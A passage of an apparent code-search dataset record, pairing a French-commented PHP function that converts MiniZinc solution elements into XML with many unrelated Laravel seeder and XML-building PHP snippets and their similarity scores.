$i++) {\n Grade::create([\n 'letter' => $faker->randomElement(['а', 'б', 'в']),\n 'school_id' => $faker->unique()->numberBetween(1, School::count()),\n 'level' => 1\n ]);\n }\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n factory(App\\User::class,5)->create();//5 User created\n factory(App\\Model\\Genre::class,5)->create();//5 genres\n factory(App\\Model\\Film::class,6)->create();//6 films\n factory(App\\Model\\Comment::class, 20)->create();// 20 comments\n }", "public function run()\n {\n\n $this->call(UserSeeder::class);\n factory(Empresa::class,10)->create();\n factory(Empleado::class,50)->create();\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n User::create([\n 'name' => 'jose luis',\n 'email' => '[email protected]',\n 'password' => bcrypt('xxxxxx'),\n 'role' => 'admin',\n ]);\n\n Category::create([\n 'name' => 'inpods',\n 'description' => 'auriculares inalambricos que funcionan con blouthue genial'\n ]);\n\n Category::create([\n 'name' => 'other',\n 'description' => 'otra cosa diferente a un inpods'\n ]);\n\n\n /* Create 10 products */\n Product::factory(10)->create();\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Russell'\n ]);\n\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Bitfumes'\n ]);\n\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Paul'\n ]);\n }", "public function run()\n {\n $user_ids = [1,2,3];\n $faker = app(\\Faker\\Generator::class);\n $posts = factory(\\App\\Post::class)->times(50)->make()->each(function($post) use ($user_ids,$faker){\n $post->user_id = $faker->randomElement($user_ids);\n });\n \\App\\Post::insert($posts->toArray());\n }", "public function run()\n {\n // Vaciar la tabla.\n Favorite::truncate();\n $faker = \\Faker\\Factory::create();\n // Crear artículos ficticios en la tabla\n\n // factory(App\\Models\\User::class, 2)->create()->each(function ($user) {\n // $user->users()->saveMany(factory(App\\Models\\User::class, 25)->make());\n //});\n }", "public function run()\n\t{\n\t\t$this->call(ProductsTableSeeder::class);\n\t\t$this->call(CategoriesTableSeeder::class);\n\t\t$this->call(BrandsTableSeeder::class);\n\t\t$this->call(ColorsTableSeeder::class);\n\n\t\t$products = \\App\\Product::all();\n \t$categories = \\App\\Category::all();\n \t$brands = \\App\\Brand::all();\n \t$colors = \\App\\Color::all();\n\n\t\tforeach ($products as $product) {\n\t\t\t$product->colors()->sync($colors->random(3));\n\n\t\t\t$product->category()->associate($categories->random(1)->first());\n\t\t\t$product->brand()->associate($brands->random(1)->first());\n\n\t\t\t$product->save();\n\t\t}\n\n\t\t// for ($i = 0; $i < count($products); $i++) {\n\t\t// \t$cat = $categories[rand(0,5)];\n\t\t// \t$bra = $brands[rand(0,7)];\n\t\t// \t$cat->products()->save($products[$i]);\n\t\t// \t$bra->products()->save($products[$i]);\n\t\t// }\n\n\t\t// $products = factory(App\\Product::class)->times(20)->create();\n\t\t// $categories = factory(App\\Category::class)->times(6)->create();\n\t\t// $brands = factory(App\\Brand::class)->times(8)->create();\n\t\t// $colors = factory(App\\Color::class)->times(15)->create();\n\t}", "public function run()\n {\n /*$this->call(UsersTableSeeder::class);\n $this->call(GroupsTableSeeder::class);\n $this->call(TopicsTableSeeder::class);\n $this->call(CommentsTableSeeder::class);*/\n DB::table('users')->insert([\n 'name' => 'pkw',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'type' => '1'\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = Faker::create();\n foreach (range(1,200) as $index) {\n DB::table('users')->insert([\n 'name' => $faker->name,\n 'email' => $faker->email,\n 'phone' => $faker->randomDigitNotNull,\n 'address'=> $faker->streetAddress,\n 'password' => bcrypt('secret'),\n ]);\n }\n }", "public function run()\n {\n $this->call(UsersSeeder::class);\n User::factory(2)->create();\n Company::factory(2)->create();\n\n }", "public function run()\n {\n echo PHP_EOL , 'seeding roles...';\n\n Role::create(\n [\n 'name' => 'Admin',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Principal',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Teacher',\n 'deletable' => false,\n ]\n );\n\n Role::create(\n [\n 'name' => 'Student',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Parents',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Accountant',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Librarian',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Receptionist',\n 'deletable' => false,\n ]\n );\n\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->call(QuestionTableSeed::class);\n\n $this->call([\n QuestionTableSeed::class,\n AlternativeTableSeed::class,\n ScheduleActionTableSeeder::class,\n UserTableSeeder::class,\n CompanyClassificationTableSeed::class,\n ]);\n // DB::table('clients')->insert([\n // 'name' => 'Empresa-02',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('07.052.477/0001-60'),\n // ]);\n }", "public function run()\n {\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 5; $i++) {\n Runner::create([\n 'external_id' => $faker->uuid,\n 'name' => $faker->name,\n 'race_id' =>rand(1,5),\n 'age' => rand(30, 45),\n 'sex' => $faker->randomElement(['male', 'female']),\n 'color' => $faker->randomElement(['#ecbcb4', '#d1a3a4']),\n ]);\n }\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n\n User::factory()->create([\n 'name' => 'Carlos',\n 'email' => '[email protected]',\n 'email_verified_at' => now(),\n 'password' => bcrypt('123456'), // password\n 'remember_token' => Str::random(10),\n ]);\n \n $this->call([PostsTableSeeder::class]);\n $this->call([TagTableSeeder::class]);\n\n }", "public function run()\n {\n $this->call(AlumnoSeeder::class);\n //Alumnos::factory()->count(30)->create();\n //DB::table('alumnos')->insert([\n // 'dni_al' => '13189079',\n // 'nom_al' => 'Jose',\n // 'ape_al' => 'Araujo',\n // 'rep_al' => 'Principal',\n // 'esp_al' => 'Tecnologia',\n // 'lnac_al' => 'Valencia'\n //]);\n }", "public function run()\n {\n Eloquent::unguard();\n\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n\n // $this->call([\n // CountriesTableSeeder::class,\n // ]);\n\n factory(App\\User::class, 100)->create();\n factory(App\\Type::class, 10)->create();\n factory(App\\Item::class, 100)->create();\n factory(App\\Order::class, 1000)->create();\n\n $items = App\\Item::all();\n\n App\\Order::all()->each(function($order) use ($items) {\n\n $n = rand(1, 10);\n\n $order->items()->attach(\n $items->random($n)->pluck('id')->toArray()\n , ['quantity' => $n]);\n\n $order->total = $order->items->sum(function($item) {\n return $item->price * $item->pivot->quantity;\n });\n\n $order->save();\n\n });\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'izzanni',\n \n ]\n );\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'aina',\n\n ]\n );\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'sab',\n\n ]\n );\n }", "public function run()\n {\n\n factory('App\\Models\\Pessoa', 60)->create();\n factory('App\\Models\\Profissional', 10)->create();\n factory('App\\Models\\Paciente', 50)->create();\n $this->call(UsersTableSeeder::class);\n $this->call(ProcedimentoTableSeeder::class);\n // $this->call(PessoaTableSeeder::class);\n // $this->call(ProfissionalTableSeeder::class);\n // $this->call(PacienteTableSeeder::class);\n // $this->call(AgendaProfissionalTableSeeder::class);\n }", "public function run()\n {\n //Acá se define lo que el seeder va a hacer.\n //insert() para insertar datos.\n //Array asociativo. La llave es el nombre de la columna.\n// DB::table('users')->insert([\n// //Para un solo usuario.\n// 'name' => 'Pedrito Perez',\n// 'email' => '[email protected]',\n// 'password' => bcrypt('123456')\n// ]);//Se indica el nombre de la tabla.\n\n //Crea 50 usuarios (sin probar)\n// factory(App\\User::class, 50)->create()->each(function($u) {\n// $u->posts()->save(factory(App\\Post::class)->make());\n// });\n\n factory(App\\User::class, 10)->create(); //Así se ejecuta el model factory creado en ModelFactory.php\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n //nhập liệu mẫu cho bảng users\n DB::table('users')->insert([\n \t['id'=>'1001', 'name'=>'Phan Thị Hiền', 'email'=>'[email protected]', 'password'=>'123456', 'isadmin'=>1],\n \t['id'=>'1002', 'name'=>'Phan Thị Hà', 'email'=>'[email protected]', 'password'=>'111111', 'isadmin'=>0]\n ]);\n\n\n //nhập liệu mẫu cho bảng suppliers\n DB::table('suppliers')->insert([\n \t['name'=>'FPT', 'address'=>'151 Hùng Vương, TP. Đà Nẵng', 'phonenum'=>'0971455395'],\n \t['name'=>'Điện Máy Xanh', 'address'=>'169 Phan Châu Trinh, TP. Đà Nẵng', 'phonenum'=>'0379456011']\n ]);\n\n\n //Bảng phiếu bảo hành\n }", "public function run()\n {\n \t// DB::table('categories')->truncate();\n // factory(App\\Models\\Category::class, 10)->create();\n Schema::disableForeignKeyConstraints();\n Category::truncate();\n $faker = Faker\\Factory::create();\n\n $categories = ['SAMSUNG','NOKIA','APPLE','BLACK BERRY'];\n foreach ($categories as $key => $value) {\n Category::create([\n 'name'=>$value,\n 'description'=> 'This is '.$value,\n 'markup'=> rand(10,100),\n 'category_id'=> null,\n 'UUID' => $faker->uuid,\n ]);\n }\n }" ]
[ "0.8013876", "0.79804534", "0.7976992", "0.79542726", "0.79511505", "0.7949612", "0.794459", "0.7942486", "0.7938189", "0.79368967", "0.79337025", "0.78924936", "0.78811055", "0.78790957", "0.78787595", "0.787547", "0.7871811", "0.78701615", "0.7851422", "0.7850352", "0.7841468", "0.7834583", "0.7827792", "0.7819104", "0.78088796", "0.7802872", "0.7802348", "0.78006834", "0.77989215", "0.7795819", "0.77903426", "0.77884805", "0.77862066", "0.7778816", "0.7777486", "0.7765202", "0.7762492", "0.77623445", "0.77621746", "0.7761383", "0.77606887", "0.77596676", "0.7757001", "0.7753607", "0.7749522", "0.7749292", "0.77466977", "0.7729947", "0.77289546", "0.772796", "0.77167094", "0.7714503", "0.77140456", "0.77132195", "0.771243", "0.77122366", "0.7711113", "0.77109736", "0.7710777", "0.7710086", "0.7705484", "0.770464", "0.7704354", "0.7704061", "0.77027386", "0.77020216", "0.77008796", "0.7698617", "0.76985973", "0.76973504", "0.7696405", "0.7694293", "0.7692694", "0.7691264", "0.7690576", "0.76882726", "0.7687433", "0.7686844", "0.7686498", "0.7685065", "0.7683827", "0.7679184", "0.7678287", "0.76776296", "0.76767945", "0.76726556", "0.76708084", "0.76690495", "0.766872", "0.76686716", "0.7666299", "0.76625943", "0.7662227", "0.76613766", "0.7659881", "0.7656644", "0.76539344", "0.76535016", "0.7652375", "0.7652313", "0.7652022" ]
0.0
-1
FinFunction ===================== Pour un element d'une ligne fournis transforme l'element de output mzn au format xml Cette fonction transforme un element sous forme de tableau en liste de node xml
function ElementTabToXML($nameLineElement,$lineElement,$xmlSolution,$solutionElementXML):bool{ //TODO LABEL IN OUTPUT union label part ect //print_r($nameLineElement); if($lineElement == "[]"){ return false; } if($nameLineElement == "group"){ $elementSub = $xmlSolution->createElement("class"); foreach(transformDznToArray($lineElement) as $element){ $subSubElement = $xmlSolution->createElement("group"); ElementStringToXML("refId",$element,$xmlSolution,$subSubElement); $elementSub->appendChild($subSubElement); } $solutionElementXML->appendChild($elementSub); } elseif(in_array($nameLineElement,["rooms","teachers"])){ $elementSub = $xmlSolution->createElement("choose".ucfirst($nameLineElement)); foreach(transformDznToArray($lineElement) as $element){ $subSubElement = $xmlSolution->createElement(substr($nameLineElement,0,-1)); ElementStringToXML("refId",$element,$xmlSolution,$subSubElement); $elementSub->appendChild($subSubElement); } $solutionElementXML->appendChild($elementSub); } elseif($nameLineElement=="equipements"){ } elseif($nameLineElement=="slot"){ $elementSub = $xmlSolution->createElement("schedule"); $tabResult = transformDznToArray($lineElement); $subSubElement1 = $xmlSolution->createAttribute("slot"); $subSubElement1->value = cleanString($tabResult[0]); $subSubElement2 = $xmlSolution->createAttribute("sessionLength"); $subSubElement2->value = cleanString($tabResult[1]); $elementSub->appendChild($subSubElement1); $elementSub->appendChild($subSubElement2); $solutionElementXML->appendChild($elementSub); } else{exit ("ERROR FIELD DON'T EXIST");} return true; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function genexml2($matricule,$nom,$prenom,$datenaissance,$lieunaissance,$telephone,$montantdu,$anneeacademique,$statut,$etablissement,$filiere,$nationalite, $type){\n\t$xml = new DOMDocument('1.0', 'utf-8');\n\t//$items = $xml->createElement('id_dataTable');\n\t\t$item = $xml->createElement('etudiant');\n\t\t$db_item=[\"matricule\"=>$matricule,\"nom\"=>$nom,\"prenom\"=>$prenom,\"telephone\"=>$telephone,\"anneeacademique\"=>$anneeacademique,\"etablissement\"=>$etablissement,\"anneeEtude\"=>$filiere,\"nationalite\"=>$nationalite,\"statut\"=>$statut,\"montant\"=>$montantdu,\"categorie\"=>$type,\"datePaiement\"=>\"\",\"reftransaction\"=>\"\",\"intermediairePaiement\"=>\"\"];\n\t\tforeach($db_item as $key => $value){\n\t\t\t$node = $xml->createElement($key,$value);\n\t\t\t$item->appendChild($node);\n\t\t}\n\t\t//$items->appendChild($item);\n\t$xml->appendChild($item);\n\t$date=date(\"Y-m-d\");\n\t$date=convertdatebanque($date);\n\t\n\treturn $xml->saveXML();\n}", "protected function getAsXmlAtributosRepresentacionXml()\n {\n $idioma_arr = $reg_webservice=Zend_Registry::get('idioma');\n $num_idiomas = $idioma_arr[\"count\"];\n $string_xml =\"\\t<nombre>\".htmlentities($this->_nombre, ENT_XML1).\"</nombre>\\n\";\n $string_xml.=\"\\t<descripcion>\\n\";\n for($i=0;$i<$num_idiomas;$i++){ \n $idioma= $idioma_arr[$i];\n $string_xml.=\"\\t\\t<\".$idioma.\">\";\n $string_xml.=htmlentities($this->_descripcion_arr[$idioma], ENT_XML1);\n $string_xml.=\"</\".$idioma.\">\\n\";\n } \n $string_xml.=\"\\t</descripcion>\\n\";\n $string_xml.=\"\\t<descripcion_larga>\\n\";\n for($i=0;$i<$num_idiomas;$i++){ \n $idioma= $idioma_arr[$i];\n $string_xml.=\"\\t\\t<\".$idioma.\">\";\n $string_xml.=htmlentities($this->_descripcion_larga_arr[$idioma], ENT_XML1);\n $string_xml.=\"</\".$idioma.\">\\n\";\n } \n $string_xml.=\"\\t</descripcion_larga>\\n\";\n $string_xml.=\"\\t<imagen_principal>\".$this->_imagen_principal.\"</imagen_principal>\\n\";\n $string_xml.=\"\\t<catalogo_galeria>\\n\";\n foreach($this->_catalogo_galeria_arr as $imagen){ \n $string_xml.=\"\\t\\t<imagen>\";\n $string_xml.=$imagen;\n $string_xml.=\"</imagen>\\n\";\n } \n $string_xml.=\"\\t</catalogo_galeria>\\n\";\n $string_xml.=\"\\t<video_principal>\".$this->_video_principal.\"</video_principal>\\n\";\n $string_xml.=\"\\t<catalogo_video>\\n\";\n foreach($this->_catalogo_video_arr as $video){ \n $string_xml.=\"\\t\\t<video>\";\n $string_xml.=$video;\n $string_xml.=\"</video>\\n\";\n } \n $string_xml.=\"\\t</catalogo_video>\\n\";\n $string_xml.=$this->_Twitter->getAsXml();\n \n $string_xml.=\"\\t<tags>\";\n foreach($this->_id_tags_arr as $id_tag){ \n $string_xml.=\"\\t\\t<id_tag>\".$id_tag.\"</id_tag>\\n\";\n } \n $string_xml.=\"\\t</tags>\\n\";\n \n return $string_xml;\n }", "function MonitorXMLAuslesen($SuchType, $ML_ID, $Knoten, $LByte)\r\n {\r\n //SuchType\r\n // 1 = ID->Knoten\r\n // 2 = ID->Index(LByte)\r\n // 3 = Knoten und Index->Teiler\r\n // 4 = Knoten und Index->ID\r\n // 5 = Knoten und Index->Name\r\n // 6 = ID->Name\r\n // 7 = ID->Ueberschrift\r\n // 8 = ID->Datentype\r\n // 9 = ID->IndexEbene\r\n $xml = simplexml_load_file('Monitorliste.xml');\r\n\t\tif ($xml == false)\r\n\t\t{\r\n \t\t\tWFC_SendNotification(GetObjectID(\"WebFront Configurator\"),\"Fehler\",\"Monitor XML Datei wurde nicht gefunden!\",\"Error\",5);\r\n\t\t}else{\r\n\t\t\tif ($SuchType == 1) {\r\n\t foreach ($xml->xpath('MonitorRow') as $Row) {\r\n\t If ($Row->ID == $ML_ID) {\r\n\t return utf8_decode($Row->Knoten);\r\n\t }\r\n\t }\r\n\t } else if ($SuchType == 2) {\r\n\t foreach ($xml->xpath('MonitorRow') as $Row) {\r\n\t If ($Row->ID == $ML_ID) {\r\n\t return utf8_decode($Row->LByte);\r\n\t }\r\n\t }\r\n\t } else if ($SuchType == 3) {\r\n\t foreach ($xml->xpath('MonitorRow') as $Row) {\r\n\t If ($Row->Knoten == $Knoten and $Row->LByte == $LByte) {\r\n\t return utf8_decode($Row->Teiler);\r\n\t }\r\n\t }\r\n\t } else if ($SuchType == 4) {\r\n\t foreach ($xml->xpath('MonitorRow') as $Row) {\r\n\t If ($Row->Knoten == $Knoten and $Row->LByte == $LByte) {\r\n\t return utf8_decode($Row->ID);\r\n\t }\r\n\t }\r\n\t } else if ($SuchType == 5) {\r\n\t foreach ($xml->xpath('MonitorRow') as $Row) {\r\n\t If ($Row->Knoten == $Knoten and $Row->LByte == $LByte) {\r\n\t return utf8_decode($Row->Name);\r\n\t }\r\n\t }\r\n\t } else if ($SuchType == 6) {\r\n\t foreach ($xml->xpath('MonitorRow') as $Row) {\r\n\t If ($Row->ID == $ML_ID) {\r\n\t return utf8_decode($Row->Name);\r\n\t }\r\n\t }\r\n\t } else if ($SuchType == 7) {\r\n\t foreach ($xml->xpath('MonitorRow') as $Row) {\r\n\t If ($Row->ID == $ML_ID) {\r\n\t return utf8_decode($Row->Ueberschrift);\r\n\t }\r\n\t }\r\n\t } else if ($SuchType == 8) {\r\n\t foreach ($xml->xpath('MonitorRow') as $Row) {\r\n\t If ($Row->ID == $ML_ID) {\r\n\t return utf8_decode($Row->Datentype);\r\n\t }\r\n\t }\r\n\t } else if ($SuchType == 9) {\r\n\t foreach ($xml->xpath('MonitorRow') as $Row) {\r\n\t If ($Row->ID == $ML_ID) {\r\n\t return utf8_decode($Row->IndexEbene);\r\n\t }\r\n\t }\r\n\t }\r\n\t \t}\r\n }", "public function afficherXML(){\n echo\"<humidite>\";\n\n echo\"<moyenne>\".$this->moyenne.\"</moyenne>\";\n echo\"<max>\".$this->max.\"</max>\";\n echo\"<min>\".$this->min.\"</min>\";\n echo\"<nombreHumiditeReference>\".$this->nombreHumiditeReference.\"</nombreHumiditeReference>\";\n echo\"<date>\".$this->date.\"</date>\";\n\n echo\"</humidite>\";\n }", "function crearXML(){\n\t\t$objConexion = conectar(\"on\");\n\t\t\n\t\t$consulta='SELECT id_solicitud as numero,\n\t\t\t\t\tfecha_requerida_solicitud as requerida,\n\t\t\t\t\tbeneficiario_solicitud as beneficiario,\n\t\t\t\t\tconcepto_solicitud as concepto,\n\t\t\t\t\tfactura_solicitud as factura,\n\t\t\t\t\t(SELECT nombre_desarrollo FROM desarrollo WHERE id_desarrollo=tipo_desarrollo_solicitud) as desarrollo,\n\t\t\t\t\t(SELECT nombre_departamento FROM departamento WHERE id_departamento=tipo_departamento_solicitud) as depto,\n\t\t\t\t\timporte_solicitud as monto,\n\t\t\t\t\testatus_solicitud as estado \n\t\t\t\t\tFROM solicitud WHERE tipo_solicitud=1';\n\t\t\t\t\t\n\t\t$datos_consulta=$objConexion->query($consulta);\n\t\t\n\t\t$xml = new DomDocument('1.0','UTF-8');\n\t\t$root = $xml->createElement('registros');\n\t\t$root = $xml->appendChild($root);\n\t\t\n\t\twhile($fila=$datos_consulta->fetch_assoc()){\n\t\t\t$caja = $xml->createElement('caja');\n \t\t\t$caja = $root->appendChild($caja);\n\t\t\t$numero_sc = $xml->createElement('id_solicitud',$fila['numero']);\n\t\t\t$numero_sc = $caja->appendChild($numero_sc);\n\t\t\t$fechreq=$fila['requerida'];\n\t\t\t$fechareq = $xml->createElement('fecha_requerida',$fechreq);\n\t\t\t$fechareq = $caja->appendChild($fechareq);\n\t\t\t$beneficiaro = $xml->createElement('beneficiario',$fila['beneficiario']);\n\t\t\t$beneficiaro = $caja->appendChild($beneficiaro);\n\t\t\t$concepto = $xml->createElement('concepto',$fila['concepto']);\n\t\t\t$concepto = $caja->appendChild($concepto);\n\t\t\t$factura = $xml->createElement('factura',$fila['factura']);\n\t\t\t$factura = $caja->appendChild($factura);\n\t\t\t$desarrollo = $xml->createElement('desarrollo',$fila['desarrollo']);\n\t\t\t$desarrollo = $caja->appendChild($desarrollo);\n\t\t\t$departamento = $xml->createElement('departamento',$fila['depto']);\n\t\t\t$departamento = $caja->appendChild($departamento);\n\t\t\t$monto = $xml->createElement('monto',$fila['monto']);\n\t\t\t$monto = $caja->appendChild($monto);\n\t\t\t$estatus = $xml->createElement('estatus',$fila['estado']);\n\t\t\t$estatus = $caja->appendChild($estatus);\n\t\t}\n\t\t\n\t\t$consulta='SELECT id_solicitud as numero,\n\t\t\t\t\tfecha_requerida_solicitud as requerida,\n\t\t\t\t\tbeneficiario_solicitud as beneficiario,\n\t\t\t\t\tconcepto_solicitud as concepto,\n\t\t\t\t\tfactura_solicitud as factura,\n\t\t\t\t\t(SELECT nombre_desarrollo FROM desarrollo WHERE id_desarrollo=tipo_desarrollo_solicitud) as desarrollo,\n\t\t\t\t\t(SELECT nombre_departamento FROM departamento WHERE id_departamento=tipo_departamento_solicitud) as depto,\n\t\t\t\t\timporte_solicitud as monto,\n\t\t\t\t\testatus_solicitud as estado \n\t\t\t\t\tFROM solicitud WHERE tipo_solicitud=2';\n\t\t\t\t\t\n\t\t$datos_consulta=$objConexion->query($consulta);\n\t\t\n\t\twhile($fila=$datos_consulta->fetch_assoc()){\n\t\t\t$proveedor = $xml->createElement('proveedor');\n \t\t\t$proveedor = $root->appendChild($proveedor);\n\t\t\t$numero_sp = $xml->createElement('id_solicitud',$fila['numero']);\n\t\t\t$numero_sp = $proveedor->appendChild($numero_sp);\n\t\t\t$fechreq=$fila['requerida'];\n\t\t\t$fechareq = $xml->createElement('fecha_requerida',$fechreq);\n\t\t\t$fechareq = $proveedor->appendChild($fechareq);\n\t\t\t$beneficiaro = $xml->createElement('beneficiario',$fila['beneficiario']);\n\t\t\t$beneficiaro = $proveedor->appendChild($beneficiaro);\n\t\t\t$concepto = $xml->createElement('concepto',$fila['concepto']);\n\t\t\t$concepto = $proveedor->appendChild($concepto);\n\t\t\t$factura = $xml->createElement('factura',$fila['factura']);\n\t\t\t$factura = $proveedor->appendChild($factura);\n\t\t\t$desarrollo = $xml->createElement('desarrollo',$fila['desarrollo']);\n\t\t\t$desarrollo = $proveedor->appendChild($desarrollo);\n\t\t\t$departamento = $xml->createElement('departamento',$fila['depto']);\n\t\t\t$departamento = $proveedor->appendChild($departamento);\n\t\t\t$monto = $xml->createElement('monto',$fila['monto']);\n\t\t\t$monto = $proveedor->appendChild($monto);\n\t\t\t$estatus = $xml->createElement('estatus',$fila['estado']);\n\t\t\t$estatus = $proveedor->appendChild($estatus);\n\t\t}\n\t\t\n\t\t$consulta='SELECT id_comisiones as numero,\n\t\t\t\t\tfecha_requerida_comisiones as requerida,\n\t\t\t\t\t(SELECT nombre_usuario FROM usuario WHERE id_usuario=asesor_comisiones) as asesor,\n\t\t\t\t\tfactura_comisiones as factura,\n\t\t\t\t\tconcepto_comisiones as concepto,\n\t\t\t\t\t(SELECT nombre_departamento FROM departamento WHERE id_departamento=tipo_departamento_comisiones) as depto,\n\t\t\t\t\t(SELECT nombre_desarrollo FROM desarrollo WHERE id_desarrollo=tipo_desarrollo_comisiones) as desarrollo,\n\t\t\t\t\t(SELECT nombre_cliente FROM cliente WHERE id_cliente=cliente_comisiones) as cliente,\n\t\t\t\t\tmonto_comisiones as monto,\n\t\t\t\t\tanticipo_comisiones as anticipo,\n\t\t\t\t\t(monto_comisiones-anticipo_comisiones) as resta,\n\t\t\t\t\testatus_comisiones as estado\n\t\t\t\t\tFROM comisiones';\n\t\t\t\t\t\n\t\t$datos_consulta=$objConexion->query($consulta);\n\t\t\n\t\twhile($fila=$datos_consulta->fetch_assoc()){\n\t\t\t$comision = $xml->createElement('comision');\n \t\t\t$comision = $root->appendChild($comision);\n\t\t\t$numero_scn = $xml->createElement('id_solicitud',$fila['numero']);\n\t\t\t$numero_scn = $comision->appendChild($numero_scn);\n\t\t\t$fechreq=$fila['requerida'];\n\t\t\t$fechareq = $xml->createElement('fecha_requerida',$fechreq);\n\t\t\t$fechareq = $comision->appendChild($fechareq);\n\t\t\t$asesor = $xml->createElement('asesor',$fila['asesor']);\n\t\t\t$asesor = $comision->appendChild($asesor);\n\t\t\t$concepto = $xml->createElement('concepto',$fila['concepto']);\n\t\t\t$concepto = $comision->appendChild($concepto);\n\t\t\t$factura = $xml->createElement('factura',$fila['factura']);\n\t\t\t$factura = $comision->appendChild($factura);\n\t\t\t$desarrollo = $xml->createElement('desarrollo',$fila['desarrollo']);\n\t\t\t$desarrollo = $comision->appendChild($desarrollo);\n\t\t\t$departamento = $xml->createElement('departamento',$fila['depto']);\n\t\t\t$departamento = $comision->appendChild($departamento);\n\t\t\t$cliente = $xml->createElement('cliente',$fila['cliente']);\n\t\t\t$cliente = $comision->appendChild($cliente);\n\t\t\t$anticipo = $xml->createElement('anticipo',$fila['anticipo']);\n\t\t\t$anticipo = $comision->appendChild($anticipo);\n\t\t\t$monto = $xml->createElement('monto',$fila['monto']);\n\t\t\t$monto = $comision->appendChild($monto);\n\t\t\t$resto = $xml->createElement('resto',$fila['resta']);\n\t\t\t$resto = $comision->appendChild($resto);\n\t\t\t$estatus = $xml->createElement('estatus',$fila['estado']);\n\t\t\t$estatus = $comision->appendChild($estatus);\n\t\t}\n\t\t\n\t\tconectar(\"off\");\n\t\t$xml->formatOutput = true;\n\t\t$strings_xml = $xml->saveXML();\n\t\t$xml->save('admins_all_reg.xml');\n\t\t\n\t}", "private function xml()\n {\n $xml = Array2XML::createXML('rastreio', $this->data);\n return $xml->saveXML();\n }", "function generTribeFile()\n{\n global $pathdata, $tabtribes;\n \n $fileu16 = formFileName($pathdata.\"\\\\Npcs\\\\npc_tribe_relation.xml\");\n $fileout = \"../outputs/parse_output/tribe/tribe_relations.xml\";\n \n $fileext = convFileToUtf8($fileu16);\n logHead(\"Generierung der Datei\");\n logLine(\"Eingabedatei UTF16\",$fileu16);\n logLine(\"Eingabedatei UTF8\",$fileext);\n logLine(\"Ausgabedatei\",$fileout);\n \n $cntles = 0;\n $cntout = 0;\n \n $hdlout = openOutputFile($fileout);\n \n // Vorspann ausgeben\n fwrite($hdlout,'<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>'.\"\\n\");\n fwrite($hdlout,\"<tribe_relations>\\n\");\n $cntout += 2;\n \n $lines = file($fileext);\n $domax = count($lines);\n $crel = 0;\n \n for ($l=0;$l<$domax;$l++)\n {\n $line = rtrim($lines[$l]);\n $cntles++;\n \n if (stripos($line,\"<?xml\") === false\n && stripos($line,\"npc_tribe_relations\") === false)\n { \n // Start Tribe\n if (stripos($line,\" Tribe=\") !== false)\n {\n $val = strtoupper(getKeyValue(\"Tribe\",$line));\n $base = \"\";\n $crel = 0;\n \n // Tribe merken!\n if (!isset($tabtribes[$val]))\n { \n // zusätzlich als Basisklasse merken ?!? \n if (substr($val,0,5) == \"GAB1_\" || substr($val,0,3) == \"PC_\")\n $tabtribes[$val] = true; \n else\n $tabtribes[$val] = false;\n } \n // BASE-Angabe vorhanden?\n for ($b=$l+1;$b<$domax;$b++)\n {\n $xline = $lines[$b];\n \n if (stripos($xline,\"base_tribe\") !== false)\n {\n $base = strtoupper(getXmlValue(\"base_tribe\",$xline));\n \n // als Basisklasse merken\n $tabtribes[$base] = true;\n }\n else\n if (stripos($xline,\"</tribe>\") !== false)\n $b = $domax;\n else\n $crel++;\n }\n \n if ($base != \"\")\n $base = ' base=\"'.$base.'\"';\n \n if ($crel > 0) \n fwrite($hdlout,' <tribe name=\"'.$val.'\"'.$base.'>'.\"\\n\");\n else\n fwrite($hdlout,' <tribe name=\"'.$val.'\"'.$base.' />'.\"\\n\");\n \n $cntout++;\n }\n else\n {\n // End Tribe\n if (stripos($line,\"</tribe>\") !== false)\n {\n if ($crel > 0)\n {\n fwrite($hdlout,' </tribe>'.\"\\n\");\n $cntout++;\n }\n }\n else\n {\n // Relation\n if (stripos($line,\"base_tribe\") === false)\n {\n fwrite($hdlout,getFormattedLine($line).\"\\n\");\n $cntout++;\n }\n }\n }\n }\n }\n // Nachspann ausgeben\n fwrite($hdlout,\"</tribe_relations>\");\n $cntout++;\n \n fclose($hdlout);\n \n logLine(\"Zeilen Eingabedatei\",$domax);\n logLine(\"Zeilen verarbeitet \",$cntles);\n logLine(\"Zeilen ausgegeben \",$cntout);\n}", "function maquetacioItemsRSS($model, $columna, $nomCaixa, $tipusCaixa, $ordre, $estilCaixa, $estilLlistat, $estilElement, $id_registre, $registre)\n{\n $parametres = '<input type=\"hidden\" name=\"newsletter['.htmlspecialchars($model).']['.htmlspecialchars($columna).']['.htmlspecialchars($nomCaixa).']['.htmlspecialchars($tipusCaixa).'][]['.htmlspecialchars($estilCaixa).']['.htmlspecialchars($estilLlistat).']['.htmlspecialchars($estilElement).']\" value=\"'.htmlspecialchars($id_registre).'\" />';\n\n //ORIGEN RSS\n $registre['origen'] = ($registre['LINK1'] != '') ? '<a href=\"'.$registre['LINK1'].'\" rel=\"external\" style=\"color: '.$color_titol.'; 